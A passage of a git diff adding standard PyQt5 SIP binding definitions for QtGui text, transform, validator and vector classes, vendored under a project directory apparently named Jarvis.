cursorToX(int *cursorPos /In,Out/, QTextLine::Edge edge = QTextLine::Leading) const; + int xToCursor(qreal x, QTextLine::CursorPosition edge = QTextLine::CursorBetweenCharacters) const; + void setLineWidth(qreal width); + void setNumColumns(int columns); + void setNumColumns(int columns, qreal alignmentWidth); + void setPosition(const QPointF &pos); + int textStart() const; + int textLength() const; + int lineNumber() const; + void draw(QPainter *painter, const QPointF &position, const QTextLayout::FormatRange *selection = 0) const; + QPointF position() const; + qreal leading() const; + void setLeadingIncluded(bool included); + bool leadingIncluded() const; + qreal horizontalAdvance() const; +%If (PyQt_RawFont) + QList glyphRuns(int from = -1, int length = -1) const; +%End +}; + +%If (Qt_5_6_0 -) +bool operator==(const QTextLayout::FormatRange &lhs, const QTextLayout::FormatRange &rhs); +%End +%If (Qt_5_6_0 -) +bool operator!=(const QTextLayout::FormatRange &lhs, const QTextLayout::FormatRange &rhs); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtextlist.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtextlist.sip new file mode 100644 index 00000000..e1eec9c2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtextlist.sip @@ -0,0 +1,44 @@ +// qtextlist.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTextList : QTextBlockGroup +{ +%TypeHeaderCode +#include +%End + +public: + explicit QTextList(QTextDocument *doc); + virtual ~QTextList(); + int count() const /__len__/; + QTextBlock item(int i) const; + int itemNumber(const QTextBlock &) const; + QString itemText(const QTextBlock &) const; + void removeItem(int i); + void remove(const QTextBlock &); + void add(const QTextBlock &block); + QTextListFormat format() const; + void setFormat(const QTextListFormat &aformat); + +private: + QTextList(const QTextList &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtextobject.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtextobject.sip new file mode 100644 index 00000000..8c0a8065 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtextobject.sip @@ -0,0 +1,296 @@ +// qtextobject.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTextObject : QObject +{ +%TypeHeaderCode +#include +%End + +protected: + explicit QTextObject(QTextDocument *doc); + virtual ~QTextObject(); + void setFormat(const QTextFormat &format); + +public: + QTextFormat format() const; + int formatIndex() const; + QTextDocument *document() const; + int objectIndex() const; +}; + +class QTextBlockGroup : QTextObject +{ +%TypeHeaderCode +#include +%End + +protected: + explicit QTextBlockGroup(QTextDocument *doc); + virtual ~QTextBlockGroup(); + virtual void blockInserted(const QTextBlock &block); + virtual void blockRemoved(const QTextBlock &block); + virtual void blockFormatChanged(const QTextBlock &block); + QList blockList() const; +}; + +class QTextFrame : QTextObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QTextFrame(QTextDocument *doc); + virtual ~QTextFrame(); + QTextFrameFormat frameFormat() const; + QTextCursor firstCursorPosition() const; + QTextCursor lastCursorPosition() const; + int firstPosition() const; + int lastPosition() const; + QList childFrames() const; + QTextFrame *parentFrame() const; + + class iterator + { +%TypeHeaderCode +#include +%End + + public: + iterator(); + iterator(const QTextFrame::iterator &o); + QTextFrame *parentFrame() const; + QTextFrame *currentFrame() const; + QTextBlock currentBlock() const; + bool atEnd() const; + bool operator==(const QTextFrame::iterator &o) const; + bool operator!=(const QTextFrame::iterator &o) const; + QTextFrame::iterator &operator+=(int); +%MethodCode + if (a0 > 0) + while (a0--) + (*sipCpp)++; + else if (a0 < 0) + while (a0++) + (*sipCpp)--; +%End + + QTextFrame::iterator &operator-=(int); +%MethodCode + if (a0 > 0) + while (a0--) + (*sipCpp)--; + else if (a0 < 0) + while (a0++) + (*sipCpp)++; +%End + }; + + typedef QTextFrame::iterator Iterator; + QTextFrame::iterator begin() const; + QTextFrame::iterator end() const; + void setFrameFormat(const QTextFrameFormat &aformat); +}; + +class QTextBlock /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +public: + QTextBlock(); + QTextBlock(const QTextBlock &o); + bool isValid() const; + bool operator==(const QTextBlock &o) const; + bool operator!=(const QTextBlock &o) const; + bool operator<(const QTextBlock &o) const; + int position() const; + int length() const; + bool contains(int position) const; + QTextLayout *layout() const; + QTextBlockFormat blockFormat() const; + int blockFormatIndex() const; + QTextCharFormat charFormat() const; + int charFormatIndex() const; + QString text() const; + const QTextDocument *document() const; + QTextList *textList() const; + + class iterator + { +%TypeHeaderCode +#include +%End + + public: + iterator(); + iterator(const QTextBlock::iterator &o); + QTextFragment fragment() const; + bool atEnd() const; + bool operator==(const QTextBlock::iterator &o) const; + bool operator!=(const QTextBlock::iterator &o) const; + QTextBlock::iterator &operator+=(int); +%MethodCode + if (a0 > 0) + while (a0--) + (*sipCpp)++; + else if (a0 < 0) + while (a0++) + (*sipCpp)--; +%End + + QTextBlock::iterator &operator-=(int); +%MethodCode + if (a0 > 0) + while (a0--) + (*sipCpp)--; + else if (a0 < 0) + while (a0++) + (*sipCpp)++; +%End + }; + + typedef QTextBlock::iterator Iterator; + QTextBlock::iterator begin() const; + QTextBlock::iterator end() const; + QTextBlock next() const; + QTextBlock previous() const; + QTextBlockUserData *userData() const; + void setUserData(QTextBlockUserData *data /GetWrapper/); +%MethodCode + // Ownership of the user data is with the document not the text block. + const QTextDocument *td = sipCpp->document(); + + if (td) + { + PyObject *py_td = qtgui_wrap_ancestors(const_cast(td), + sipType_QTextDocument); + + if (!py_td) + { + sipIsErr = 1; + } + else + { + sipTransferTo(a0Wrapper, py_td); + Py_DECREF(py_td); + } + } + + sipCpp->setUserData(a0); +%End + + int userState() const; + void setUserState(int state); + void clearLayout(); + int revision() const; + void setRevision(int rev); + bool isVisible() const; + void setVisible(bool visible); + int blockNumber() const; + int firstLineNumber() const; + void setLineCount(int count); + int lineCount() const; + Qt::LayoutDirection textDirection() const; +%If (Qt_5_3_0 -) + QVector textFormats() const; +%End +}; + +class QTextFragment +{ +%TypeHeaderCode +#include +%End + +public: + QTextFragment(); + QTextFragment(const QTextFragment &o); + bool isValid() const; + bool operator==(const QTextFragment &o) const; + bool operator!=(const QTextFragment &o) const; + bool operator<(const QTextFragment &o) const; + int position() const; + int length() const; + bool contains(int position) const; + QTextCharFormat charFormat() const; + int charFormatIndex() const; + QString text() const; +%If (PyQt_RawFont) + QList glyphRuns(int from = -1, int length = -1) const; +%End +}; + +class QTextBlockUserData /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QTextBlockUserData(); +}; + +%ModuleHeaderCode +PyObject *qtgui_wrap_ancestors(QObject *obj, const sipTypeDef *td); +%End + +%ModuleCode +// Wrap a QObject and ensure that it's ancestors are all wrapped with the +// correct ownerships. +static PyObject *qtgui_wrap_ancestors_worker(QObject *obj) +{ + if (!obj) + { + Py_INCREF(Py_None); + return Py_None; + } + + PyObject *py_parent = qtgui_wrap_ancestors_worker(obj->parent()); + + if (!py_parent) + return 0; + + PyObject *py_obj = sipConvertFromType(obj, sipType_QObject, + (py_parent != Py_None ? py_parent : 0)); + + Py_DECREF(py_parent); + return py_obj; +} + +PyObject *qtgui_wrap_ancestors(QObject *obj, const sipTypeDef *td) +{ + PyObject *py_parent = qtgui_wrap_ancestors_worker(obj->parent()); + + if (!py_parent) + return 0; + + PyObject *py_obj = sipConvertFromType(obj, td, + (py_parent != Py_None ? py_parent : 0)); + + Py_DECREF(py_parent); + + return py_obj; +} +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtextoption.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtextoption.sip new file mode 100644 index 00000000..6bc353ed --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtextoption.sip @@ -0,0 +1,106 @@ +// qtextoption.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTextOption +{ +%TypeHeaderCode +#include +%End + +public: + QTextOption(); + QTextOption(Qt::Alignment alignment); + ~QTextOption(); + QTextOption(const QTextOption &o); + Qt::Alignment alignment() const; + void setTextDirection(Qt::LayoutDirection aDirection); + Qt::LayoutDirection textDirection() const; + + enum WrapMode + { + NoWrap, + WordWrap, + ManualWrap, + WrapAnywhere, + WrapAtWordBoundaryOrAnywhere, + }; + + void setWrapMode(QTextOption::WrapMode wrap); + QTextOption::WrapMode wrapMode() const; + + enum Flag + { + IncludeTrailingSpaces, + ShowTabsAndSpaces, + ShowLineAndParagraphSeparators, + AddSpaceForLineAndParagraphSeparators, + SuppressColors, +%If (Qt_5_7_0 -) + ShowDocumentTerminator, +%End + }; + + typedef QFlags Flags; + QTextOption::Flags flags() const; + qreal tabStop() const; + void setTabArray(const QList &tabStops); + QList tabArray() const; + void setUseDesignMetrics(bool b); + bool useDesignMetrics() const; + void setAlignment(Qt::Alignment aalignment); + void setFlags(QTextOption::Flags flags); + void setTabStop(qreal atabStop); + + enum TabType + { + LeftTab, + RightTab, + CenterTab, + DelimiterTab, + }; + + struct Tab + { +%TypeHeaderCode +#include +%End + + Tab(); + Tab(qreal pos, QTextOption::TabType tabType, QChar delim = QChar()); + bool operator==(const QTextOption::Tab &other) const; + bool operator!=(const QTextOption::Tab &other) const; + qreal position; + QTextOption::TabType type; + QChar delimiter; + }; + + void setTabs(const QList &tabStops); + QList tabs() const; +%If (Qt_5_10_0 -) + void setTabStopDistance(qreal tabStopDistance); +%End +%If (Qt_5_10_0 -) + qreal tabStopDistance() const; +%End +}; + +QFlags operator|(QTextOption::Flag f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtexttable.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtexttable.sip new file mode 100644 index 00000000..35a097b0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtexttable.sip @@ -0,0 +1,75 @@ +// qtexttable.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTextTableCell +{ +%TypeHeaderCode +#include +%End + +public: + QTextTableCell(); + ~QTextTableCell(); + QTextTableCell(const QTextTableCell &o); + QTextCharFormat format() const; + void setFormat(const QTextCharFormat &format); + int row() const; + int column() const; + int rowSpan() const; + int columnSpan() const; + bool isValid() const; + QTextCursor firstCursorPosition() const; + QTextCursor lastCursorPosition() const; + int tableCellFormatIndex() const; + bool operator==(const QTextTableCell &other) const; + bool operator!=(const QTextTableCell &other) const; +}; + +class QTextTable : QTextFrame +{ +%TypeHeaderCode +#include +%End + +public: + explicit QTextTable(QTextDocument *doc); + virtual ~QTextTable(); + void resize(int rows, int cols); + void insertRows(int pos, int num); + void insertColumns(int pos, int num); + void removeRows(int pos, int num); + void removeColumns(int pos, int num); + void mergeCells(int row, int col, int numRows, int numCols); + void mergeCells(const QTextCursor &cursor); + void splitCell(int row, int col, int numRows, int numCols); + int rows() const; + int columns() const; + QTextTableCell cellAt(int row, int col) const; + QTextTableCell cellAt(int position) const; + QTextTableCell cellAt(const QTextCursor &c) const; + QTextCursor rowStart(const QTextCursor &c) const; + QTextCursor rowEnd(const QTextCursor &c) const; + QTextTableFormat format() const; + void setFormat(const QTextTableFormat &aformat); + void appendRows(int count); + void appendColumns(int count); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtouchdevice.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtouchdevice.sip new file mode 100644 index 00000000..2cfe4ddf --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtouchdevice.sip @@ -0,0 +1,67 @@ +// qtouchdevice.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTouchDevice +{ +%TypeHeaderCode +#include +%End + +public: + enum DeviceType + { + TouchScreen, + TouchPad, + }; + + enum CapabilityFlag + { + Position, + Area, + Pressure, + Velocity, + RawPositions, + NormalizedPosition, +%If (Qt_5_5_0 -) + MouseEmulation, +%End + }; + + typedef QFlags Capabilities; + QTouchDevice(); + ~QTouchDevice(); + static QList devices(); + QString name() const; + QTouchDevice::DeviceType type() const; + QTouchDevice::Capabilities capabilities() const; + void setName(const QString &name); + void setType(QTouchDevice::DeviceType devType); + void setCapabilities(QTouchDevice::Capabilities caps); +%If (Qt_5_2_0 -) + int maximumTouchPoints() const; +%End +%If (Qt_5_2_0 -) + void setMaximumTouchPoints(int max); +%End +}; + +QFlags operator|(QTouchDevice::CapabilityFlag f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtransform.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtransform.sip new file mode 100644 index 00000000..6b3bc002 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtransform.sip @@ -0,0 +1,132 @@ +// qtransform.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%ModuleCode +#include +%End + +class QTransform +{ +%TypeHeaderCode +#include +%End + +%PickleCode + sipRes = Py_BuildValue((char *)"ddddddddd", sipCpp->m11(), sipCpp->m12(), sipCpp->m13(), sipCpp->m21(), sipCpp->m22(), sipCpp->m23(), sipCpp->m31(), sipCpp->m32(), sipCpp->m33()); +%End + +public: + enum TransformationType + { + TxNone, + TxTranslate, + TxScale, + TxRotate, + TxShear, + TxProject, + }; + + QTransform(); + QTransform(qreal m11, qreal m12, qreal m13, qreal m21, qreal m22, qreal m23, qreal m31, qreal m32, qreal m33 = 1.0e+0); + QTransform(qreal h11, qreal h12, qreal h13, qreal h21, qreal h22, qreal h23); +%If (Qt_5_7_0 -) + QTransform(const QTransform &other); +%End + QTransform::TransformationType type() const; + void setMatrix(qreal m11, qreal m12, qreal m13, qreal m21, qreal m22, qreal m23, qreal m31, qreal m32, qreal m33); + QTransform inverted(bool *invertible = 0) const; + QTransform adjoint() const; + QTransform transposed() const; + QTransform &translate(qreal dx, qreal dy); + QTransform &scale(qreal sx, qreal sy); + QTransform &shear(qreal sh, qreal sv); + QTransform &rotate(qreal angle, Qt::Axis axis = Qt::ZAxis); + QTransform &rotateRadians(qreal angle, Qt::Axis axis = Qt::ZAxis); + static bool squareToQuad(const QPolygonF &square, QTransform &result); + static bool quadToSquare(const QPolygonF &quad, QTransform &result); + static bool quadToQuad(const QPolygonF &one, const QPolygonF &two, QTransform &result); + bool operator==(const QTransform &) const; + bool operator!=(const QTransform &) const; + QTransform &operator*=(const QTransform &) /__imatmul__/; + QTransform operator*(const QTransform &o) const /__matmul__/; + void reset(); + void map(int x /Constrained/, int y /Constrained/, int *tx, int *ty) const; + void map(qreal x, qreal y, qreal *tx, qreal *ty) const; + QPoint map(const QPoint &p) const; + QPointF map(const QPointF &p) const; + QLine map(const QLine &l) const; + QLineF map(const QLineF &l) const; + QPolygonF map(const QPolygonF &a) const; + QPolygon map(const QPolygon &a) const; + QRegion map(const QRegion &r) const; + QPainterPath map(const QPainterPath &p) const; + QPolygon mapToPolygon(const QRect &r) const; + QRect mapRect(const QRect &) const; + QRectF mapRect(const QRectF &) const; + bool isAffine() const; + bool isIdentity() const; + bool isInvertible() const; + bool isScaling() const; + bool isRotating() const; + bool isTranslating() const; + qreal determinant() const; + qreal m11() const; + qreal m12() const; + qreal m13() const; + qreal m21() const; + qreal m22() const; + qreal m23() const; + qreal m31() const; + qreal m32() const; + qreal m33() const; + qreal dx() const; + qreal dy() const; + static QTransform fromTranslate(qreal dx, qreal dy); + static QTransform fromScale(qreal dx, qreal dy); + QTransform &operator*=(qreal num); + QTransform &operator/=(qreal div); + QTransform &operator+=(qreal num); + QTransform &operator-=(qreal num); +%If (Qt_5_6_0 -) + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End + +%End +}; + +QDataStream &operator<<(QDataStream &, const QTransform & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QTransform & /Constrained/) /ReleaseGIL/; +QPoint operator*(const QPoint &p, const QTransform &m); +QPointF operator*(const QPointF &p, const QTransform &m); +QLineF operator*(const QLineF &l, const QTransform &m); +QLine operator*(const QLine &l, const QTransform &m); +QPolygon operator*(const QPolygon &a, const QTransform &m); +QPolygonF operator*(const QPolygonF &a, const QTransform &m); +QRegion operator*(const QRegion &r, const QTransform &m); +QPainterPath operator*(const QPainterPath &p, const QTransform &m); +QTransform operator*(const QTransform &a, qreal n); +QTransform operator/(const QTransform &a, qreal n); +QTransform operator+(const QTransform &a, qreal n); +QTransform operator-(const QTransform &a, qreal n); +bool qFuzzyCompare(const QTransform &t1, const QTransform &t2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qvalidator.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qvalidator.sip new file mode 100644 index 00000000..2e7b8be2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qvalidator.sip @@ -0,0 +1,129 @@ +// qvalidator.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QValidator : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QValidator(QObject *parent /TransferThis/ = 0); + virtual ~QValidator(); + + enum State + { + Invalid, + Intermediate, + Acceptable, + }; + + virtual QValidator::State validate(QString & /In,Out/, int & /In,Out/) const = 0; + virtual void fixup(QString & /In,Out/) const; + void setLocale(const QLocale &locale); + QLocale locale() const; + +signals: + void changed(); +}; + +class QIntValidator : QValidator +{ +%TypeHeaderCode +#include +%End + +public: + explicit QIntValidator(QObject *parent /TransferThis/ = 0); + QIntValidator(int bottom, int top, QObject *parent /TransferThis/ = 0); + virtual ~QIntValidator(); + virtual QValidator::State validate(QString & /In,Out/, int & /In,Out/) const; + virtual void fixup(QString &input /In,Out/) const; + void setBottom(int); + void setTop(int); + virtual void setRange(int bottom, int top); + int bottom() const; + int top() const; +}; + +class QDoubleValidator : QValidator +{ +%TypeHeaderCode +#include +%End + +public: + explicit QDoubleValidator(QObject *parent /TransferThis/ = 0); + QDoubleValidator(double bottom, double top, int decimals, QObject *parent /TransferThis/ = 0); + virtual ~QDoubleValidator(); + virtual QValidator::State validate(QString & /In,Out/, int & /In,Out/) const; + virtual void setRange(double minimum, double maximum, int decimals = 0); + void setBottom(double); + void setTop(double); + void setDecimals(int); + double bottom() const; + double top() const; + int decimals() const; + + enum Notation + { + StandardNotation, + ScientificNotation, + }; + + void setNotation(QDoubleValidator::Notation); + QDoubleValidator::Notation notation() const; +}; + +class QRegExpValidator : QValidator +{ +%TypeHeaderCode +#include +%End + +public: + explicit QRegExpValidator(QObject *parent /TransferThis/ = 0); + QRegExpValidator(const QRegExp &rx, QObject *parent /TransferThis/ = 0); + virtual ~QRegExpValidator(); + virtual QValidator::State validate(QString &input /In,Out/, int &pos /In,Out/) const; + void setRegExp(const QRegExp &rx); + const QRegExp ®Exp() const; +}; + +%If (Qt_5_1_0 -) + +class QRegularExpressionValidator : QValidator +{ +%TypeHeaderCode +#include +%End + +public: + explicit QRegularExpressionValidator(QObject *parent /TransferThis/ = 0); + QRegularExpressionValidator(const QRegularExpression &re, QObject *parent /TransferThis/ = 0); + virtual ~QRegularExpressionValidator(); + virtual QValidator::State validate(QString &input /In,Out/, int &pos /In,Out/) const; + QRegularExpression regularExpression() const; + void setRegularExpression(const QRegularExpression &re); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qvector2d.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qvector2d.sip new file mode 100644 index 00000000..217a82f9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qvector2d.sip @@ -0,0 +1,113 @@ +// qvector2d.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%ModuleCode +#include +%End + +class QVector2D +{ +%TypeHeaderCode +#include +%End + +%PickleCode + sipRes = Py_BuildValue((char *)"dd", (double)sipCpp->x(), (double)sipCpp->y()); +%End + +public: + QVector2D(); + QVector2D(float xpos, float ypos); + explicit QVector2D(const QPoint &point); + explicit QVector2D(const QPointF &point); + explicit QVector2D(const QVector3D &vector); + explicit QVector2D(const QVector4D &vector); + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + PyObject *x = PyFloat_FromDouble(sipCpp->x()); + PyObject *y = PyFloat_FromDouble(sipCpp->y()); + + if (x && y) + { + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromFormat("PyQt5.QtGui.QVector2D(%R, %R)", x, y); + #else + sipRes = PyString_FromString("PyQt5.QtGui.QVector2D("); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(x)); + PyString_ConcatAndDel(&sipRes, PyString_FromString(", ")); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(y)); + PyString_ConcatAndDel(&sipRes, PyString_FromString(")")); + #endif + } + + Py_XDECREF(x); + Py_XDECREF(y); +%End + + float length() const; + float lengthSquared() const; + QVector2D normalized() const; + void normalize(); + static float dotProduct(const QVector2D &v1, const QVector2D &v2); + QVector3D toVector3D() const; + QVector4D toVector4D() const; + bool isNull() const; + float x() const; + float y() const; + void setX(float aX); + void setY(float aY); + QVector2D &operator+=(const QVector2D &vector); + QVector2D &operator-=(const QVector2D &vector); + QVector2D &operator*=(float factor); + QVector2D &operator*=(const QVector2D &vector); + QVector2D &operator/=(float divisor); +%If (Qt_5_5_0 -) + QVector2D &operator/=(const QVector2D &vector); +%End + QPoint toPoint() const; + QPointF toPointF() const; +%If (Qt_5_1_0 -) + float distanceToPoint(const QVector2D &point) const; +%End +%If (Qt_5_1_0 -) + float distanceToLine(const QVector2D &point, const QVector2D &direction) const; +%End +%If (Qt_5_2_0 -) + float operator[](int i) const; +%End +}; + +bool operator==(const QVector2D &v1, const QVector2D &v2); +bool operator!=(const QVector2D &v1, const QVector2D &v2); +const QVector2D operator+(const QVector2D &v1, const QVector2D &v2); +const QVector2D operator-(const QVector2D &v1, const QVector2D &v2); +const QVector2D operator*(float factor, const QVector2D &vector); +const QVector2D operator*(const QVector2D &vector, float factor); +const QVector2D operator*(const QVector2D &v1, const QVector2D &v2); +const QVector2D operator-(const QVector2D &vector); +const QVector2D operator/(const QVector2D &vector, float divisor); +%If (Qt_5_5_0 -) +const QVector2D operator/(const QVector2D &vector, const QVector2D &divisor); +%End +bool qFuzzyCompare(const QVector2D &v1, const QVector2D &v2); +QDataStream &operator<<(QDataStream &, const QVector2D & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QVector2D & /Constrained/) /ReleaseGIL/; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qvector3d.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qvector3d.sip new file mode 100644 index 00000000..4890b3aa --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qvector3d.sip @@ -0,0 +1,131 @@ +// qvector3d.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%ModuleCode +#include +%End + +class QVector3D +{ +%TypeHeaderCode +#include +%End + +%PickleCode + sipRes = Py_BuildValue((char *)"ddd", (double)sipCpp->x(), (double)sipCpp->y(), + (double)sipCpp->z()); +%End + +public: + QVector3D(); + QVector3D(float xpos, float ypos, float zpos); + explicit QVector3D(const QPoint &point); + explicit QVector3D(const QPointF &point); + QVector3D(const QVector2D &vector); + QVector3D(const QVector2D &vector, float zpos); + explicit QVector3D(const QVector4D &vector); + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + PyObject *x = PyFloat_FromDouble(sipCpp->x()); + PyObject *y = PyFloat_FromDouble(sipCpp->y()); + PyObject *z = PyFloat_FromDouble(sipCpp->z()); + + if (x && y && z) + { + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromFormat("PyQt5.QtGui.QVector3D(%R, %R, %R)", x, y, + z); + #else + sipRes = PyString_FromString("PyQt5.QtGui.QVector3D("); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(x)); + PyString_ConcatAndDel(&sipRes, PyString_FromString(", ")); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(y)); + 